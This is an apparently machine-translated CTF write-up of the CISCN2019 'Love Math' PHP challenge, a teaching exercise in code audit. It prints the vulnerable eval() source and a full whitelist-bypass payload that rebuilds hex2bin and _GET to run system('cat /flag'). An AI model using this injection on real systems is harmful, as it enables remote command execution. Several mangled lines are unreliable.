[CISCN2019 preliminaries] Love Math
preface
A very interesting code audit with simple logic
Knowledge points
base_convert() function
in_array() function
in_ The array (value, array) function searches the array for the specified value.
example
<?php $people = array("Peter", "Joe", "Glenn", "Cleveland", 23); if (in_array("23", $people, TRUE)) { echo "Match found<br>"; } else { echo "Match not found<br>"; } ?>
This instance outputs Match found
dechex() function
The dechex() function converts a decimal number to a hexadecimal number.
hex2bin() function
The hex2bin() function converts a string of hexadecimal values into ASCII characters.
diabolic tricks and wicked craft
Save functions and parameters with variables
To bypass the 80 word limit, we use variables to save functions and parameters
Look at payload and understand
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /flag
Here, $pi is used to store the following payload
Convert base to bypass whitelist filtering of function names
hex2bin is a function outside the white list. We want to use this function to treat hex2bin as a 36 base string for reuse Binary conversion tool Convert hex2bin to hexadecimal digit and use base_ The convert function converts decimal to base 36
Problem solution
Enter the environment, find the source code and start the audit
<?php error_reporting(0); //I heard that you like math very much. I don't know if you love it more than flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //Example c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("It's too long to count"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("Please do not enter strange characters"); } } //Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("Please do not enter strange functions"); } } //Help you figure out the answer eval('echo '.$content.';'); }
The code audit here can be divided into three parts
First piece
$content = $_GET['c']; if (strlen($content) >= 80) { die("It's too long to count");
The word length cannot be greater than 80, otherwise we can by pass it by storing payload in the variable
Second piece
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("Please do not enter strange characters");
Filtered quotation marks, double slashes, and so on
The main influence here is the square brackets
Parenthesized bypass
Use {} curly braces instead
Third piece
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("Please do not enter strange functions");
Whitelist your variable name must use the function name on the side here
We can use these variable names by redefining them
In general, this is the execution of construction commands
Our target string is obviously still system ('cat /flag ')
So let's write down the string we need to pass parameters
G E T [ a ] ( _GET[a]( GET[a](_GET[b])&a=system&b=cat flag
The following are for construction_ GET
At a glance, the hex2bin function is not in the white list and cannot be used directly
Ah, then we found a base on the white list_ The usage of convert function is introduced in the above knowledge points
The last character of hex2bin in the alphabet is x, which means that we can treat it as a 36 base number, use online base conversion to get the corresponding decimal number of hex2bin as a 36 base number, and then use base_convert function
payload:
base_convert(37907361743,10,36)
Then use the dechex function
First_ GET string is converted to hexadecimal number, and then converted to hexadecimal number by hexadecimal conversion tool, which is put into dechex function
The first half of the payload has been constructed
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));
Second half payload
It's easier to understand
Put the target payload
c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag
Convert it to( G E T Namely by GET is GET is $pi)
c=$pi=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=cat /flag
So structure
$$pi{pi}$$pi{abs}&pi=system&abs=cat /flag
Combine it to get payload
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag